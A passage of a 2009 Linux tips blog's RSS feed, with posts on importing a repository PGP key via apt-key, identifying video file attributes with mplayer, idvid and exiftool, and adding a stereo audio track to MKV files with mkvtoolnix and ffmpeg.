		<link>http://savvyadmin.com/download-pgp-keys-with-apt-key/</link>
		<comments>http://savvyadmin.com/download-pgp-keys-with-apt-key/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 23:46:11 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[APT]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[Debian]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=463</guid>
		<description><![CDATA[When adding third party software repositories to your APT sources list, you can easily download a referenced PGP key to your APT keyring using the advanced options of the apt-key utility. For example, if you are adding a third party repository that references the PGP key ID of 6E80C6B7, the following will work as long [...]


Related posts:<ol><li><a href='http://savvyadmin.com/useful-apt-aliases/' rel='bookmark' title='Permanent Link: Useful APT Aliases'>Useful APT Aliases</a></li>
<li><a href='http://savvyadmin.com/backup-and-restore-package-lists-in-ubuntu/' rel='bookmark' title='Permanent Link: Backup and Restore Package Lists in Ubuntu'>Backup and Restore Package Lists in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/grep-in-color/' rel='bookmark' title='Permanent Link: Grep in Color'>Grep in Color</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>When adding third party software repositories to your APT sources list, you can easily download a referenced PGP key to your APT keyring using the advanced options of the <strong><code>apt-key</code></strong> utility.</p>
<p>For example, if you are adding a third party repository that references the PGP key ID of <code>6E80C6B7</code>, the following will work as long as the key has been uploaded to a keyserver.</p>
<blockquote><p><code><strong>sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 6E80C6B7</strong><br />
gpg: requesting key 6E80C6B7 from hkp server keyserver.ubuntu.com<br />
gpg: key 6E80C6B7: public key "Launchpad PPA for Banshee Team" imported<br />
gpg: no ultimately trusted keys found<br />
gpg: Total number processed: 1<br />
gpg:               imported: 1  (RSA: 1)</code></p></blockquote>
<p>Typically, instructions on adding repositories give readers a two or three step process that involves apt-key reading a key from a text file or piped from a wget command.  The above just cuts all that nonsense out.</p>
<p>The <code><strong>apt-key</strong></code> man page is a bit bare, but there are a few other options you might find interesting that are only mentioned in the commands help output.</p>
<blockquote><p>
<code><strong>apt-key</strong><br />
Usage: apt-key [command] [arguments]</code></p>
<p><code>Manage apt's list of trusted keys</code></p>
<p><code>  apt-key add <file>          - add the key contained in <file> ('-' for stdin)<br />
  apt-key del <keyid>         - remove the key <keyid><br />
  apt-key export <keyid>      - output the key <keyid><br />
  apt-key exportall           - output all trusted keys<br />
  apt-key update              - update keys using the keyring package<br />
  apt-key net-update          - update keys using the network<br />
  apt-key list                - list keys<br />
  apt-key finger              - list fingerprints<br />
  apt-key adv                 - pass advanced options to gpg (download key)</code></p></blockquote>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fdownload-pgp-keys-with-apt-key%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fdownload-pgp-keys-with-apt-key%2F&amp;t=Download%20PGP%20Keys%20with%20Apt-key" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Download%20PGP%20Keys%20with%20Apt-key%20-%20http%3A%2F%2Fsavvyadmin.com%2Fdownload-pgp-keys-with-apt-key%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fdownload-pgp-keys-with-apt-key%2F&amp;title=Download%20PGP%20Keys%20with%20Apt-key&amp;notes=When%20adding%20third%20party%20software%20repositories%20to%20your%20APT%20sources%20list%2C%20you%20can%20easily%20download%20a%20referenced%20PGP%20key%20to%20your%20APT%20keyring%20using%20the%20advanced%20options%20of%20the%20apt-key%20utility.%0D%0A%0D%0AFor%20example%2C%20if%20you%20are%20adding%20a%20third%20party%20repository%20tha" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fdownload-pgp-keys-with-apt-key%2F&amp;title=Download%20PGP%20Keys%20with%20Apt-key&amp;bodytext=When%20adding%20third%20party%20software%20repositories%20to%20your%20APT%20sources%20list%2C%20you%20can%20easily%20download%20a%20referenced%20PGP%20key%20to%20your%20APT%20keyring%20using%20the%20advanced%20options%20of%20the%20apt-key%20utility.%0D%0A%0D%0AFor%20example%2C%20if%20you%20are%20adding%20a%20third%20party%20repository%20tha" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Download%20PGP%20Keys%20with%20Apt-key&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fdownload-pgp-keys-with-apt-key%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fdownload-pgp-keys-with-apt-key%2F&amp;title=Download%20PGP%20Keys%20with%20Apt-key&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=When%20adding%20third%20party%20software%20repositories%20to%20your%20APT%20sources%20list%2C%20you%20can%20easily%20download%20a%20referenced%20PGP%20key%20to%20your%20APT%20keyring%20using%20the%20advanced%20options%20of%20the%20apt-key%20utility.%0D%0A%0D%0AFor%20example%2C%20if%20you%20are%20adding%20a%20third%20party%20repository%20tha" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fdownload-pgp-keys-with-apt-key%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fdownload-pgp-keys-with-apt-key%2F&amp;title=Download%20PGP%20Keys%20with%20Apt-key&amp;annotation=When%20adding%20third%20party%20software%20repositories%20to%20your%20APT%20sources%20list%2C%20you%20can%20easily%20download%20a%20referenced%20PGP%20key%20to%20your%20APT%20keyring%20using%20the%20advanced%20options%20of%20the%20apt-key%20utility.%0D%0A%0D%0AFor%20example%2C%20if%20you%20are%20adding%20a%20third%20party%20repository%20tha" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fdownload-pgp-keys-with-apt-key%2F&amp;title=Download%20PGP%20Keys%20with%20Apt-key" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/useful-apt-aliases/' rel='bookmark' title='Permanent Link: Useful APT Aliases'>Useful APT Aliases</a></li>
<li><a href='http://savvyadmin.com/backup-and-restore-package-lists-in-ubuntu/' rel='bookmark' title='Permanent Link: Backup and Restore Package Lists in Ubuntu'>Backup and Restore Package Lists in Ubuntu</a></li>
<li><a href='http://savvyadmin.com/grep-in-color/' rel='bookmark' title='Permanent Link: Grep in Color'>Grep in Color</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/download-pgp-keys-with-apt-key/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Quickly Identify Video File Attributes</title>
		<link>http://savvyadmin.com/quickly-identify-video-file-attributes/</link>
		<comments>http://savvyadmin.com/quickly-identify-video-file-attributes/#comments</comments>
		<pubDate>Tue, 03 Nov 2009 22:59:12 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[CLI]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=433</guid>
		<description><![CDATA[If you want to gain quick insight into the basic properties of a video file from the Linux command line, there&#8217;s a few really easy methods. The information you might be interested in are audio and video codecs, resolution, frame rates, bitrates, etc. Using mplayer, you can see some basic information about a video file. [...]


Related posts:<ol><li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-mplayer/' rel='bookmark' title='Permanent Link: Extract Audio from Video Files to WAV using Mplayer'>Extract Audio from Video Files to WAV using Mplayer</a></li>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Permanent Link: Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
<li><a href='http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/' rel='bookmark' title='Permanent Link: Add Stereo Audio Tracks to MKV Files'>Add Stereo Audio Tracks to MKV Files</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>If you want to gain quick insight into the basic properties of a video file from the Linux command line, there&#8217;s a few really easy methods.  The information you might be interested in are audio and video codecs, resolution, frame rates, bitrates, etc.</p>
<p>Using <code><em>mplayer</em></code>, you can see some basic information about a video file.  For example, the following video is using the WMV3 video codec at the resolution of 1280&#215;720 (720p), the bitrate of 3000 kbps, etc.</p>
<blockquote><p><code><strong>mplayer video.wmv -vo null -ao null -frames 0 2>&#038;1 /dev/null | egrep "(VIDEO|AUDIO)"</strong><br />
VIDEO:  [WMV3]  1280x720  24bpp  1000.000 fps  3000.0 kbps (366.2 kbyte/s)<br />
AUDIO: 44100 Hz, 2 ch, s16le, 96.0 kbit/6.80% (ratio: 12003->176400)</code></p></blockquote>
<p>The audio rate is shown to be 44100 Hz using 2-Channel stereo, but the codec is not listed.  You can get additional information with the -identify option.</p>
<blockquote><p><code><strong>mplayer video.wmv -identify -vo null -ao null -frames 0 2>&#038;1 /dev/null | egrep "(^ID|VIDEO|AUDIO)"</strong><br />
ID_AUDIO_ID=1<br />
ID_VIDEO_ID=2<br />
VIDEO:  [WMV3]  1280x720  24bpp  1000.000 fps  3000.0 kbps (366.2 kbyte/s)<br />
ID_CLIP_INFO_NAME0=name<br />
ID_CLIP_INFO_VALUE0=<br />
ID_CLIP_INFO_NAME1=author<br />
ID_CLIP_INFO_VALUE1=<br />
ID_CLIP_INFO_NAME2=copyright<br />
ID_CLIP_INFO_VALUE2=<br />
ID_CLIP_INFO_NAME3=comments<br />
ID_CLIP_INFO_VALUE3=<br />
ID_CLIP_INFO_N=4<br />
ID_FILENAME=video.wmv<br />
ID_DEMUXER=asf<br />
ID_VIDEO_FORMAT=WMV3<br />
ID_VIDEO_BITRATE=3000000<br />
ID_VIDEO_WIDTH=1280<br />
ID_VIDEO_HEIGHT=720<br />
ID_VIDEO_FPS=1000.000<br />
ID_VIDEO_ASPECT=1.7778<br />
ID_AUDIO_FORMAT=353<br />
ID_AUDIO_BITRATE=0<br />
ID_AUDIO_RATE=0<br />
ID_AUDIO_NCH=0<br />
ID_LENGTH=2116.00<br />
ID_VIDEO_ASPECT=1.7778<br />
ID_VIDEO_CODEC=wmv9dmo<br />
AUDIO: 44100 Hz, 2 ch, s16le, 96.0 kbit/6.80% (ratio: 12003->176400)<br />
ID_AUDIO_BITRATE=96024<br />
ID_AUDIO_RATE=44100<br />
ID_AUDIO_NCH=2<br />
ID_AUDIO_CODEC=ffwmav2</code></p></blockquote>
<p>Another great tool for identifying video attributes is <code><em>idvid</em></code>.  <code><em>idvid</em></code> comes with the <code><em>tovid</em></code> package, so be sure to install it from your repository.  It is a bit slow, but the output is very clean and easy to interpret.</p>
<blockquote><p><code><strong>idvid video.wmv</strong><br />
--------------------------------<br />
idvid<br />
Video identification script<br />
Part of the tovid suite, version 0.31</p>
<p>http://www.tovid.org</p>
<p>--------------------------------<br />
Analyzing file: 'video.wmv'. This may take several minutes...<br />
=========================================================<br />
               File: video.wmv<br />
              Width: 1280 pixels<br />
             Height: 720 pixels<br />
       Aspect ratio: 1.77:1<br />
             Frames: 63352<br />
           Duration: 00:35:13 hours/mins/secs<br />
          Framerate: 1000.000 frames per second<br />
       Video format: WMV3<br />
      Video bitrate: 3000000 bits per second<br />
---------------------------<br />
Audio track 1 (Stream 0.0, AID 0):<br />
---------------------------<br />
              Codec: wmav2<br />
            Bitrate: 0000 bits per second<br />
      Sampling rate: 44100 Hz<br />
=========================================================<br />
Audio is compliant with the following formats:<br />
  Not compliant with (S)VCD or DVD<br />
Video is compliant with the following formats:<br />
  Not compliant with (S)VCD or DVD<br />
This video does not seem to be compliant with (S)VCD or DVD<br />
standards. If you burn it to a video disc, it may not work.<br />
=========================================================</code></p></blockquote>
<p>Finally, another tool that works very well is <code><em>exiftool</em></code>.  It&#8217;s available in the <code><em>libimage-exiftool-perl</em></code> package.  The output is also very straight forward, and easy to interpret.  It&#8217;s also a lot faster than <code><em>idvid</em></code> because the tool only displays metadata, which in some cases can be misleading.  <code><em>Mplayer</em></code> and <code><em>tovid</em></code> actually probe the video, providing very accurate information at the cost of speed.</p>
<blockquote><p><code><strong>exiftool video.wmv</strong><br />
ExifTool Version Number         : 7.30<br />
File Name                       : video.wmv<br />
Directory                       : .<br />
File Modification Date/Time     : 2009:04:20 09:21:58<br />
File Type                       : WMV<br />
MIME Type                       : video/x-ms-wmv<br />
File ID                         : 12341234-1234-1234-1234-123412341234<br />
File Size                       : 823200182<br />
Creation Date                   : 2009:03:31 02:52:55Z<br />
Data Packets                    : 102833<br />
Play Duration                   : 35:16<br />
Send Duration                   : 35:13<br />
Preroll                         : 3000<br />
Flags                           : 2<br />
Min Packet Size                 : 8000<br />
Max Packet Size                 : 8000<br />
Max Bitrate                     : 3122812<br />
Is VBR                          : False<br />
Audio Codec Name                : Windows Media Audio 9.2<br />
Audio Codec Description         :  96 kbps, 44 kHz, stereo 1-pass CBR<br />
Video Codec Name                : Windows Media Video 9<br />
Video Codec Description         : Professional<br />
Audio Codec ID                  : Windows Media Audio V2 V7 V8 V9 / DivX audio (WMA) / Alex AC3 Audio<br />
Audio Channels                  : 2<br />
Audio Sample Rate               : 44100<br />
Stream Type                     : Video<br />
Error Correction Type           : No Error Correction<br />
Time Offset                     : 0 s<br />
Stream Number                   : 2<br />
Image Width                     : 1280<br />
Image Height                    : 720<br />
Title                           :<br />
Author                          :<br />
Copyright                       :<br />
Description                     :<br />
Rating                          :<br />
Image Size                      : 1280x720</code></p></blockquote>
<p>As always, comments and additional tips are welcome!</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Share and Enjoy:</strong>
</div>
<ul>
	<li class="sociablefirst"><a rel="nofollow"  href="http://www.printfriendly.com/print?url=http%3A%2F%2Fsavvyadmin.com%2Fquickly-identify-video-file-attributes%2F&amp;partner=sociable" title="Print"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.facebook.com/share.php?u=http%3A%2F%2Fsavvyadmin.com%2Fquickly-identify-video-file-attributes%2F&amp;t=Quickly%20Identify%20Video%20File%20Attributes" title="Facebook"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://twitter.com/home?status=Quickly%20Identify%20Video%20File%20Attributes%20-%20http%3A%2F%2Fsavvyadmin.com%2Fquickly-identify-video-file-attributes%2F" title="Twitter"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://delicious.com/post?url=http%3A%2F%2Fsavvyadmin.com%2Fquickly-identify-video-file-attributes%2F&amp;title=Quickly%20Identify%20Video%20File%20Attributes&amp;notes=If%20you%20want%20to%20gain%20quick%20insight%20into%20the%20basic%20properties%20of%20a%20video%20file%20from%20the%20Linux%20command%20line%2C%20there%27s%20a%20few%20really%20easy%20methods.%20%20The%20information%20you%20might%20be%20interested%20in%20are%20audio%20and%20video%20codecs%2C%20resolution%2C%20frame%20rates%2C%20bitrates%2C%20etc" title="del.icio.us"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://savvyadmin.com/feed/" title="RSS"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fquickly-identify-video-file-attributes%2F&amp;title=Quickly%20Identify%20Video%20File%20Attributes&amp;bodytext=If%20you%20want%20to%20gain%20quick%20insight%20into%20the%20basic%20properties%20of%20a%20video%20file%20from%20the%20Linux%20command%20line%2C%20there%27s%20a%20few%20really%20easy%20methods.%20%20The%20information%20you%20might%20be%20interested%20in%20are%20audio%20and%20video%20codecs%2C%20resolution%2C%20frame%20rates%2C%20bitrates%2C%20etc" title="Digg"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="mailto:?subject=Quickly%20Identify%20Video%20File%20Attributes&amp;body=http%3A%2F%2Fsavvyadmin.com%2Fquickly-identify-video-file-attributes%2F" title="email"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fsavvyadmin.com%2Fquickly-identify-video-file-attributes%2F&amp;title=Quickly%20Identify%20Video%20File%20Attributes&amp;source=SavvyAdmin.com+For+savvy+admins+everywhere...&amp;summary=If%20you%20want%20to%20gain%20quick%20insight%20into%20the%20basic%20properties%20of%20a%20video%20file%20from%20the%20Linux%20command%20line%2C%20there%27s%20a%20few%20really%20easy%20methods.%20%20The%20information%20you%20might%20be%20interested%20in%20are%20audio%20and%20video%20codecs%2C%20resolution%2C%20frame%20rates%2C%20bitrates%2C%20etc" title="LinkedIn"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fsavvyadmin.com%2Fquickly-identify-video-file-attributes%2F" title="Identi.ca"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow"  href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fsavvyadmin.com%2Fquickly-identify-video-file-attributes%2F&amp;title=Quickly%20Identify%20Video%20File%20Attributes&amp;annotation=If%20you%20want%20to%20gain%20quick%20insight%20into%20the%20basic%20properties%20of%20a%20video%20file%20from%20the%20Linux%20command%20line%2C%20there%27s%20a%20few%20really%20easy%20methods.%20%20The%20information%20you%20might%20be%20interested%20in%20are%20audio%20and%20video%20codecs%2C%20resolution%2C%20frame%20rates%2C%20bitrates%2C%20etc" title="Google Bookmarks"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a></li>
	<li class="sociablelast"><a rel="nofollow"  href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fsavvyadmin.com%2Fquickly-identify-video-file-attributes%2F&amp;title=Quickly%20Identify%20Video%20File%20Attributes" title="StumbleUpon"><img src="http://savvyadmin.com/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Related posts:<ol><li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-mplayer/' rel='bookmark' title='Permanent Link: Extract Audio from Video Files to WAV using Mplayer'>Extract Audio from Video Files to WAV using Mplayer</a></li>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Permanent Link: Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
<li><a href='http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/' rel='bookmark' title='Permanent Link: Add Stereo Audio Tracks to MKV Files'>Add Stereo Audio Tracks to MKV Files</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://savvyadmin.com/quickly-identify-video-file-attributes/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Add Stereo Audio Tracks to MKV Files</title>
		<link>http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/</link>
		<comments>http://savvyadmin.com/add-stereo-audio-tracks-to-mkv-files/#comments</comments>
		<pubDate>Sat, 26 Sep 2009 22:33:50 +0000</pubDate>
		<dc:creator>gmendoza</dc:creator>
				<category><![CDATA[Tech Tips]]></category>
		<category><![CDATA[AC3]]></category>
		<category><![CDATA[Audio]]></category>
		<category><![CDATA[Dolby Digital]]></category>
		<category><![CDATA[FFMpeg]]></category>
		<category><![CDATA[LAME]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Matroska]]></category>
		<category><![CDATA[MKV]]></category>
		<category><![CDATA[mplayer]]></category>
		<category><![CDATA[Multimedia]]></category>
		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://www.savvyadmin.com/?p=403</guid>
		<description><![CDATA[If you have Matroska Video (MKV) files encoded with AC3 Dolby Digital 5.1 or DTS audio tracks, you may want to simply extract the audio, convert it to a 2-channel stereo format like WAV, MP3 OGG, etc, and then add it back into the MKV as a separate audio track. This is useful when your [...]


Related posts:<ol><li><a href='http://savvyadmin.com/convert-mkv-to-xvid-with-mencoder/' rel='bookmark' title='Permanent Link: Convert MKV to Xvid with Mencoder'>Convert MKV to Xvid with Mencoder</a></li>
<li><a href='http://savvyadmin.com/extract-audio-from-video-files-to-wav-using-ffmpeg/' rel='bookmark' title='Permanent Link: Extract Audio from Video Files to WAV using FFmpeg'>Extract Audio from Video Files to WAV using FFmpeg</a></li>
<li><a href='http://savvyadmin.com/extract-ac3-dolby-digital-with-ffmpeg/' rel='bookmark' title='Permanent Link: Extract AC3 Dolby Digital with FFMpeg'>Extract AC3 Dolby Digital with FFMpeg</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>If you have <a href="http://www.matroska.org" target="_blank">Matroska Video (MKV) files</a> encoded with AC3 Dolby Digital 5.1 or DTS audio tracks, you may want to simply extract the audio, convert it to a 2-channel stereo format like WAV, MP3 OGG, etc, and then add it back into the MKV as a separate audio track.  This is useful when your media player (e.g. <a href="http://www.westerndigital.com/en/products/products.asp?driveid=572">Western Digital Media Player WDAVN00</a>) will not downscale the audio from a digital format like AC3 or DTS to stereo when you don&#8217;t have a receiver or TV with a built in Dolby Digital decoder.  Now you&#8217;ll have the choice of either audio format depending on your technical requirements.</p>
<p>The great thing about the <a href="http://www.matroska.org/">Matroska multimedia container</a> is that you can easily manipulate these files without having to re-encode, saving lots of time.  I&#8217;ll be using <strong><em>mkvextract</em></strong> to extract the AC3 audio, <strong><em>ffmpeg</em></strong> to convert ac3 to mp3, and finally <strong><em>mkvmerge</em></strong> to add and remux the new audio track to the MKV container.  All of these are available to a number of platforms, but in my examples, I&#8217;m using Linux.  Check out the <a href="http://www.bunkus.org/videotools/mkvtoolnix/" target="_blank">MKVToolnix</a> and <a href="http://ffmpeg.org/" target="_blank">FFMpeg</a> websites for more info on the software.</p>
<p>If using Ubuntu Linux, install the relevant <strong><em>mkvtoolnix</em></strong>,  <em><strong>mkvtoolnix-gui</strong> </em>and <strong><em>ffmpeg</em></strong> packages.</p>
<blockquote><p><code><strong>sudo apt-get install mkvtoolnix mkvtoolnix-gui ffmpeg libavcodec-unstripped-52</strong></code></p></blockquote>
<p>To view the existing tracks of the MKV, use the <em>mkvmerge -i</em> option.  In the following example, you see my &#8220;<strong>Cool.Video.mkv</strong>&#8221; file has an MPEG4 video in track 1, an AC3 Dolby Digital audio file in track 2, and subtitles in track 3.</p>
<blockquote><p><code><strong>mkvmerge -i Cool.Movie.mkv </strong><br />
File 'Cool.Movie.mkv': container: Matroska<br />
Track ID 1: video (V_MPEG4/ISO/AVC)<br />
Track ID 2: audio (A_AC3)<br />
Track ID 3: subtitles (S_TEXT/UTF8)</code></p></blockquote>
<p>Using <em>mkvextract</em>, extract the AC3 Dolby Digital audio from track 2, saving it to a file called audio.ac3.</p>
<blockquote><p><code><strong>mkvextract tracks Cool.Movie.mkv 2:audio.ac3</strong><br />
Extracting track 2 with the CodecID 'A_AC3' to the file 'audio.ac3'. Container format: Dolby Digital (AC3)<br />
Progress: 100%</code></p>
<p><code><strong>ls -lh audio.ac3</strong><br />
-rw-r--r-- 1 gmendoza gmendoza 432M 2009-09-26 11:58 audio.ac3</code></p></blockquote>
<p>Convert the 6-channel ac3 file to a 2-channel stereo MP3 using <em>ffmpeg</em>.  If you prefer a higher audio bitrate, adjust the -ab value as desired.  e.g. 256, 384, etc, and adjust the audio rate to your liking as well.</p>
<blockquote><p><code><strong>ffmpeg -i audio.ac3 -acodec libmp3lame -ab 160k -ac 2 audio.mp3</strong><br />
[output omitted for brevity]</code></p>
<p><code><strong>ls -lh audio.*</strong><br />
-rw-r--r-- 1 gmendoza gmendoza 432M 2009-09-26 11:58 audio.ac3<br />
-rw-r--r-- 1 gmendoza gmendoza  87M 2009-09-26 12:08 audio.mp3</code></p></blockquote>
<p>To simplify things, you could actually skip the digital format extraction process by running ffmpeg against the MKV file directly.</p>
<blockquote><p><code><strong>ffmpeg -i Cool.Movie.mkv -acodec libmp3lame -ab 160k -ac 2 audio.mp3</strong></code></p></blockquote>
<p>If you prefer encoding with more advanced options, you could extract the audio as a 2-channel WAV file instead, and then process it with LAME, Oggenc, or some other encoder of your choosing.  The following shows the extraction to WAV, and then conversion to various formats for fun, e.g. MP3, OGG, and FLAC.</p>
<blockquote><p><code><strong>ffmpeg -i Cool.Movie.mkv -acodec pcm_s16le -ac 2 audio.wav<br />
lame -V0 -q0 --vbr-new audio.wav audio.mp3<br />
oggenc -q6 audio.wav<br />
flac audio.wav</strong></code></p></blockquote>
<p>Use <em>mkvmerge</em> to combine the original MKV with the MP3 audio track to create a new file called Cool.Movie.New.mkv.  Make sure you have enough disk space for both the original and new MKV file.</p>
<blockquote><p><code><strong>mkvmerge -o Cool.Movie.New.mkv Cool.Movie.mkv audio.mp3</strong><br />
mkvmerge v2.4.1 ('Use Me') built on Dec 13 2008 21:03:46<br />
'Cool.Movie.mkv': Using the Matroska demultiplexer.<br />
'audio.mp3': Using the MP2/MP3 demultiplexer.<br />
Warning: 'audio.mp3': Skipping 32 bytes at the beginning (no valid MP3 header found).<br />
'Cool.Movie.mkv' track 1: Using the MPEG-4 part 10 (AVC) video output module.<br />
'Cool.Movie.mkv' track 2: Using the AC3 output module.<br />
'Cool.Movie.mkv' track 3: Using the text subtitle output module.<br />
'audio.mp3' track 0: Using the MPEG audio output module.<br />
The file 'Cool.Movie.New.mkv' has been opened for writing.<br />
Progress: 100%<br />
The cue entries (the index) are being written...<br />
Muxing took 270 seconds.</code></p></blockquote>
<p>Verify that the audio track has been added.  You can see Track ID 4 has been successfully added.</p>
<blockquote><p><code><strong>mkvmerge -i New.Cool.Movie.mkv </strong><br />
File 'New.Cool.Movie.mkv': container: Matroska<br />
Track ID 1: video (V_MPEG4/ISO/AVC)<br />
Track ID 2: audio (A_AC3)<br />
Track ID 3: subtitles (S_TEXT/UTF8)<br />
Track ID 4: audio (A_MPEG/L3)</code></p></blockquote>
<p>That&#8217;s really all there is to it.  There are quite a few options available when editing MKV container files.  For example, I wanted nice descriptions for my tracks since various media players will read and display them for you during menu navigation.  I recommend using the mkvmerge gui application as shown in this screenshot.</p>
<p style="text-align: center;"><a href="http://www.savvyadmin.com/wp-content/uploads/2009/09/mkvmerge-gui.png" target="_blank"><img class="aligncenter size-medium wp-image-410" title="mkvmerge-gui" src="http://www.savvyadmin.com/wp-content/uploads/2009/09/mkvmerge-gui-300x175.png" alt="mkvmerge-gui" width="300" height="175" /></a></p>
